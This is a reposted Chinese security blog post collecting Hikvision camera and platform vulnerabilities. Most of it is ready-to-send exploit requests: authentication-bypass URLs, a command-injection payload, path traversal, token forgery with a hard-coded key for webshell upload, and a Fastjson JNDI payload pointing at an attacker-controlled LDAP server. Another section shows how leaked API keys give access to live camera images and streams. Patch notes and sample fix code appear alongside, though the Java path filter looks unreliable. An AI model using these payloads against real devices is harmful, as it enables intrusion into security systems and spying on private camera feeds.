【漏洞总结】海康威视八大漏洞汇总
2023-6-11 09:54:33 Author: 利刃信安攻防实验室(查看原文) 阅读量:544 收藏

参考链接:

https://mp.weixin.qq.com/s/E6flzm2_3UmK62P0BuMxEghttps://mp.weixin.qq.com/s/RIixdCh8fGszPmGS-9rxFwhttps://mp.weixin.qq.com/s/mX_7ubt-sNFN0Y-qE4wAGghttps://mp.weixin.qq.com/s/3fWICeosay5XTEEs9iHvmQhttps://mp.weixin.qq.com/s/CEGjTyhphr2GMuK9zpl5bghttps://mp.weixin.qq.com/s/Wveo0X3857mBWFzNOcJHJw

1.海康威视系列产品默认口令(漏洞基本均已修复,仅供参考学习)


------------------------------------------------------

2.海康威视IP Camera身份认证绕过漏洞

漏洞编号:

CVE-2017-7921 CVE-2017-7923

漏洞描述:

海康威视IP Camera设备中存在一个权限提升安全漏洞。由于代码对用户传入参数检查不足,攻击者可能利用该漏洞提升权限,获取或修改设备信息。

影响范围:

排查步骤:

查看系统所有存在用户列表

http://ip/Security/users?auth=YWRtaW46MTEKYWRtaW46MTEK

auth内容是admin:11的base64编码。

获取系统监控快照,不需要进行身份验证。

http://ip/onvif-http/snapshot?auth=YWRtaW46MTEK

下载摄像机配置文件,通过脚本解密配置文件获得账密信息。

http://ip/System/configurationFile?auth=YWRtaW46MTEK

用hex编辑器打开下载的configurationFile文件发现是加密后的。

解密命令

python3 decrypt_configurationFile.py configurationFile

GitHub地址:

https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor

红框中的就是后台登录的账号密码。

进入后台

https://advisories.checkpoint.com/advisory/cpai-2017-0876/#

修复方式:

用户可通过海康威视官网获取补丁/更新版本。

补丁获取地址:

https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/20170314/

-----------------------------------------------------

3.海康威视多产品存在命令注入漏洞

漏洞编号:

CVE-2021-36260

漏洞描述:

海康威视多产品web模块存在一个命令注入漏洞,由于对输入参数校验不充分,攻击者可以发送带有恶意命令的报文到受影响设备,成功利用此漏洞可以导致命令执行。
影响范围:
易受攻击的网络摄像机固件。

易受攻击的 PTZ 摄像机固件。

易受攻击的旧固件。

OEM 固件。

排查步骤:

漏洞POC:

PUT /SDK/webLanguage HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 89
<?xml version="1.0"encoding="UTF-8"?><language>$(ifconfig -a >webLib/dd.asp)</language>

成功执行命令。

漏洞修复:

用户可通过海康威视官网获取补丁/更新版本。

补丁下载地址:

https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/20210919/

--------------------------------------------

4.海康威视流媒体管理服务器后台任意文件读取漏洞

影响范围:

流媒体管理服务器 V2.3.5

资产排查:

web.title="流媒体管理服务器"

排查步骤:

漏洞POC:

http://xxx.xxx.xxx.xxx/systemLog/downFile.php?fileName=../../../../../../../../../../../../../../../windows/system.ini

fileName未输入文件名时,返回包会报错,错误信息中包含网站的部分绝对路径信息,经过路径构造可以获取当前php文件的内容:

可以看到,源代码是想把读取的文件写死在log这个目录下,而以下这段代码还是造成了目录穿越!
$file = fopen($file_dir . $file_name,"r"); // 打开文件

漏洞修复:

1.php.ini 配置 open_basedir(针对PHP应用程序)。2.用户输入配置白名单,对文件下载类型进行检查,判断是否为允许下载类型。3.过滤路径回溯符../,或者直接将..替换成空。对参数进行过滤,依次过滤“.”、“..”、“/”、“\”等字符。4.对于下载文件的目录做好限制,只能下载定目录下的文件,或者将要下载的资源文件路径存入数据库,附件下载时定数据库中的id即可,id即对应的资源。
参考代码:
import java.io.File;import java.io.IOException;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.regex.Pattern;
public class FileReader { // 正则表达式,用于过滤路径中的 ../ 字符串 private static final Pattern SAFE_PATH_PATTERN = Pattern.compile("[^/]+/\\.\\./");
// 安全读取文件 public static byte[] readSafely(String path) throws IOException { // 将路径中的 ../ 替换为空字符串 String safePath = SAFE_PATH_PATTERN.matcher(path).replaceAll("");
// 使用安全路径读取文件 Path filePath = Paths.get(safePath); return Files.readAllBytes(filePath); }}
这段代码中使用了正则表达式来过滤路径中的 ../ 字符串,确保文件只能被读取到预期的位置。
使用方法:
try { byte[] fileData = FileReader.readSafely("/path/to/file");} catch (IOException e) { // 处理异常}

--------------------------------------------------------------------------

5.海康威视iVMS综合安防系统任意文件上传漏洞(0day)

产品介绍:

海康威视iVMS集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控、联网报警、智能分析、运维管理等多种安全防范应用系统,构建的多业务应用综合管理平台。

漏洞描述:

海康威视iVMS系统存在在野 0day 漏洞,攻击者通过获取密钥任意构造token,请求/resourceOperations/upload接口任意上传文件,导致获取服务器webshell权限,同时可远程进行恶意代码执行。

影响范围:

海康威视综合安防系统iVMS-5000

海康威视综合安防系统 iVMS-8700

资产排查:

web.body="/views/home/file/installPackage.rar"

排查步骤:

漏洞POC:

POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPoUpgrade-Insecure-Requests: 1Content-Length: 174
------WebKitFormBoundaryGEJwiloiPoContent-Disposition: form-data; name="fileUploader";filename="1.jsp"Content-Type: image/jpeg
test------WebKitFormBoundaryGEJwiloiPo

构造token绕过认证

POST /eps/api/resourceOperations/upload HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://you-ipConnection: closeCookie: ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9Upgrade-Insecure-Requests: 1Content-Length: 62
service=http%3A%2F%2Fx.x.x.x%3Ax%2Fhome%2Findex.action

构造token绕过认证  (内部机制:如果token值与请求url+secretkey的md5值相同就可以绕过认证)

secretkey是代码里写死的(默认值:secretKeyIbuilding)

token值需要进行MD5加密(32位大写)

组合:token=MD5(url+"secretKeyIbuilding")

重新验证

可以看到,成功绕过

构造文件上传payload

POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPoUpgrade-Insecure-Requests: 1Content-Length: 174
------WebKitFormBoundaryGEJwiloiPoContent-Disposition: form-data; name="fileUploader";filename="1.jsp"Content-Type: image/jpeg
test------WebKitFormBoundaryGEJwiloiPo

显示上传成功且返回了resourceUuid值

验证路径:http://url/eps/upload/resourceUuid的值.jsp

海康威视IVMS系统任意文件上传漏洞检测POC

https://github.com/sccmdaveli/hikvision-poc

使用方式:

单个url检测:python3 ivms-poc.py -u url

多个url检测:python3 ivms-poc.py -f file.txt

漏洞修复:

1.在服务器后端控制上传文件类型,处理时强制使用随机数改写文件名和文件路径,不要使用用户自定义的文件名和文件路径。2.在服务器后端建议使用白名单的方法对上传的文件进行过滤,上传的目录不进行解析,只提供下载权限。3.开源编辑器上传漏洞:若新版编辑器已修复漏洞,请更新编辑器版本。4.除了以上的方法之外,还可将被上传的文件限制在某一路径下,并在文件上传目录禁止脚本解析。
参考代码:
import java.io.File;import java.io.IOException;import java.security.SecureRandom;import javax.servlet.ServletException;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.Part;
public class FileUploadServlet extends HttpServlet { private static final long serialVersionUID = 1L;
private static final String ALLOWED_FILE_TYPES = "image/jpeg,image/png,image/gif";
private static final SecureRandom random = new SecureRandom();
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // 获取上传的文件 Part filePart = request.getPart("file");
// 检查文件类型是否被允许 String fileType = filePart.getContentType(); if (!ALLOWED_FILE_TYPES.contains(fileType)) { response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid file type."); return; }
// 使用随机数改写文件名和文件路径 String fileName = generateRandomFileName(filePart.getSubmittedFileName()); String filePath = request.getServletContext().getRealPath("/") + File.separator + "uploads" + File.separator + fileName;
// 保存文件 filePart.write(filePath);
// 返回响应 response.setStatus(HttpServletResponse.SC_OK); }
private static String generateRandomFileName(String fileName) { int randomNumber = random.nextInt(); String[] fileNameParts = fileName.split("\\."); String fileExtension = fileNameParts[fileNameParts.length - 1]; return randomNumber + "." + fileExtension; }}
在上面的代码中,我们首先使用 getPart 方法获取上传的文件。然后检查文件类型是否在允许的文件类型列表中。如果不在,则发送错误响应。否则,我们使用随机数改写文件名和文件路径。最后,我们使用 write 方法将文件写入磁盘,并返回响应。

--------------------------------------------------

6.海康威视综合安防管理平台存在Fastjson远程命令执行漏洞(2022 HVV洞)

产品介绍:

综合安防管理平台基于“统一软件技术架构”理念设计,采用业务组件化技术,满足平台在业务上的弹性扩展。该平台适用于全行业通用综合安防业务,对各系统资源进行了整合和集中管理,实现统一部署、配置、管理和调度。

漏洞描述:

海康威视综合安防管理平台存在Fastjson远程命令执行漏洞,该漏洞可执行系统命令,直接获取服务器权限。

资产排查:

app="HIKVISION-综合安防管理平台"

排查步骤:

漏洞数据包如下:

POST /bic/ssoService/v1/applyCT HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Connection: closeHost: 127.0.0.1Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Dnt: 1Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: cross-siteSec-Fetch-User: ?1Te: trailersContent-Type: application/jsonContent-Length: 215
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://2vyvoa.dnslog.cn","autoCommit":true},"hfe4zyyzldp":"="}

先看看能不能连dnslog服务器,如果dnslog服务器收到请求,则大概率存在命令执行漏洞 

确定dnslog能收到请求之后,使用工具JNDIExploit-1.2-SNAPSHOT.jar 进一步利用。把该工具上传到公网服务器后,执行如下命令

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 你的公网服务器ip

记得对外开放1389 8080端口哦 

然后就在数据包的头部加上 cmd: whoami  这里whoami也可以改成你想执行的命令

存在注入的地方改成  ldap://这里是的你公网服务器ip地址:1389/Basic/TomcatEcho

POST /bic/ssoService/v1/applyCT HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Connection: keep-aliveHost: 127.0.0.1Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Dnt: 1Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: cross-siteSec-Fetch-User: ?1Te: trailersContent-Type: application/jsoncmd: whoamiContent-Length: 215
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://这里是的你公网服务器ip地址:1389/Basic/TomcatEcho","autoCommit":true},"hfe4zyyzldp":"="}

成功执行whoami命令 。

漏洞修复:

用户可通过海康威视官网获取补丁/更新版本。

补丁下载地址:

https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/

---------------------------------------------------------------

8.海康威视AK信息泄露漏洞

进行js多次查看发现存在jsconfig的调用。

appkey就是user 由一个8位数数构成:23412412

Secret就是passwd,由21位的密钥构成:QfQPss5GOac9Bjxkfuv3

官方提供api接口文档

https://open.hikvision.com/docs/docId?productId=5c67f1e2f05948198c909700&version=%2Ff95e951cefc54578b523d1738f65f0a1&curNodeId=16741aecc05944a6b0cd1341d68e4546
1./api/resource/v2/encodeDevice/search接口,获取权限的编码设备列表

2./api/resource/v1/cameras 获取cameraIndexCode

3./api/video/v1/manualCapture 带cameraIndexCode去获取摄像头的Picurl
{"cameraIndexCode":id号,  "pageNo": 1,  "pageSize": 1000}

3.会获取如下图的picUrl,直接访问就是摄像头的画面

利用rtsp协议去访问

利用/api/video/v2/cameras/previewURLs 接口 。获取获取rtsp协议摄像

这里借助借助VLC media player 播放去访问rtsp协议摄像头


文章来源: http://mp.weixin.qq.com/s?__biz=MzU1Mjk3MDY1OA==&mid=2247504536&idx=2&sn=34afb15136bbbe758994c220b458f7bb&chksm=fbfb6255cc8ceb43852bb147975744babe76dcccf2a7175aea8a8ea3884f4f090459615a020c#rd
如有侵权请联系:admin#unsafe.sh